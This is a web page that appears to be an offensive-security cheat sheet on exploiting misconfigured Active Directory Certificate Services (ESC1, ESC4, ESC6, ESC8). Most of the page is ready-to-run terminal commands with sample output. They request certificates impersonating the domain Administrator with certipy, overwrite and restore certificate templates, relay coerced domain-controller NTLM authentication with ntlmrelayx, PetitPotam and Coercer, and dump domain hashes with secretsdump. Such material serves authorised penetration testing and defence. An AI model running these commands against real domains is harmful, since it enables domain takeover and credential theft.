Skip to content
HackIndex logo

HackIndex

ADCS Exploitation: ESC1, ESC4, ESC6, ESC8

5 min read Jun 11, 2026

ADCS exploitation uses misconfigured certificate templates or CA settings to obtain a certificate for a privileged account without knowing that account's credentials. The certificate is then used to request a TGT or retrieve the account's NT hash via PKINIT. Most paths lead to Domain Admin in a single chain.

Run ADCS Misconfiguration Discovery first to confirm which ESC variant is present before using any technique here.

ESC1 — certificate for arbitrary UPN

ESC1 allows a low-privileged user to request a certificate with an arbitrary Subject Alternative Name. By specifying a Domain Admin UPN in the SAN, the resulting certificate authenticates as that account. This is a direct path to Domain Admin from any domain user account.

┌──(kali㉿kali)-[~]
└─$ # Request certificate with DA UPN as SAN
┌──(kali㉿kali)-[~]
└─$ # Replace 'VulnTemplate' with the template name from Certipy find output
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -ca 'corp-DC01-CA' -template 'VulnTemplate' -upn 'Administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -hashes :$NTHASH -dc-ip $TARGET_IP -ca 'corp-DC01-CA' -template 'VulnTemplate' -upn 'Administrator@$DOMAIN'
[*] Requesting certificate via RPC
[+] Successfully requested certificate
[*] Certificate: administrator.pfx
┌──(kali㉿kali)-[~]
└─$ # Use the certificate to authenticate and retrieve NT hash
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Certipy outputs both TGT (ccache) and NT hash
┌──(kali㉿kali)-[~]
└─$ # TGT is saved as administrator.ccache
┌──(kali㉿kali)-[~]
└─$ # NT hash is printed directly
 
┌──(kali㉿kali)-[~]
└─$ # Use TGT
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/Administrator@$TARGET_HOSTNAME -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Use NT hash directly
┌──(kali㉿kali)-[~]
└─$ nxc smb 192.168.1.0/24 -u Administrator -H $NTHASH
[*] Using principal: [email protected]
[*] Trying to get TGT...
[+] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] NT hash for 'administrator': fc525c9683e8fe067095ba2ddc971889

ESC4 — modify template then exploit as ESC1

ESC4 gives you write access on a certificate template object. Use Certipy to overwrite the template configuration to introduce ESC1 conditions, request a certificate as a privileged account, then restore the original template to avoid leaving a permanent misconfiguration.

┌──(kali㉿kali)-[~]
└─$ # Step 1 — save original template config
┌──(kali㉿kali)-[~]
└─$ certipy template -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -template 'VulnTemplate' -save-old
 
┌──(kali㉿kali)-[~]
└─$ # Step 2 — overwrite template with ESC1 conditions
┌──(kali㉿kali)-[~]
└─$ certipy template -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -template 'VulnTemplate' -configuration VulnTemplate.json
 
┌──(kali㉿kali)-[~]
└─$ # Step 3 — request certificate as DA using modified template
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -ca 'corp-DC01-CA' -template 'VulnTemplate' -upn 'Administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ # Step 4 — authenticate with certificate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 5 — restore original template
┌──(kali㉿kali)-[~]
└─$ certipy template -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -template 'VulnTemplate' -configuration VulnTemplate.json.bak
[+] Successfully updated template 'VulnTemplate'
[+] Successfully requested certificate
[*] NT hash for 'administrator': fc525c9683e8fe067095ba2ddc971889

ESC8 — NTLM relay to AD CS web enrollment

ESC8 relays NTLM authentication from a coerced DC or privileged account to the CA web enrollment endpoint. The relay requests a certificate on behalf of the coerced account. Since DCs authenticate with their machine account, a relayed DC authentication yields a DC certificate — which can then be used to perform DCSync via PKINIT.

This requires the CA web enrollment endpoint to be running over HTTP and NTLM relay protections to be absent.

┌──(kali㉿kali)-[~]
└─$ # Terminal 1 — start ntlmrelayx targeting the CA web enrollment endpoint
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t http://$CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'
 
┌──(kali㉿kali)-[~]
└─$ # Terminal 2 — coerce DC authentication toward your host
┌──(kali㉿kali)-[~]
└─$ # PetitPotam (standalone tool — clone from github.com/topotam/PetitPotam)
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py $LHOST $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # With credentials
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Alternative — Coercer covers PetitPotam, PrinterBug, and others
┌──(kali㉿kali)-[~]
└─$ coercer coerce -u $USER -p $PASSWORD -d $DOMAIN -l $LHOST -t $DC_IP
[*] SMBD-Thread-4: Connection from CORP/DC01$ CORP.LOCAL
[*] Authenticating against http://10.10.10.10/certsrv/certfnsh.asp as CORP/DC01$
[+] Successfully requested certificate for DC01$
[*] Base64 certificate for DC01$: MIIRbQIBAzCC...
┌──(kali㉿kali)-[~]
└─$ # Save the base64 certificate output from ntlmrelayx
┌──(kali㉿kali)-[~]
└─$ echo '$BASE64_CERT' | base64 -d > dc01.pfx
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate as DC machine account — outputs TGT and NT hash
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx dc01.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Use the TGT for DCSync
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=dc01$.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -k -no-pass $DOMAIN/'DC01$'@$DC_HOSTNAME
[+] Got TGT
[*] NT hash for 'DC01$': a3b4c5d6e7f8...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

When this flag is set on the CA, any template accepts a custom SAN in the certificate request regardless of individual template settings. Exploitation is identical to ESC1 but works against any enrollable template — the default User template is usually sufficient.

┌──(kali㉿kali)-[~]
└─$ # Works against any template with enrollment rights
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -ca 'corp-DC01-CA' -template 'User' -upn 'Administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ # Convert to NT hash and TGT
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
[+] Successfully requested certificate
[*] NT hash for 'administrator': fc525c9683e8fe067095ba2ddc971889

After obtaining an NT hash via certificate authentication, proceed to DCSync and Domain Takeover to dump all domain hashes, or use Pass-the-Hash and Pass-the-Ticket to move laterally immediately.

References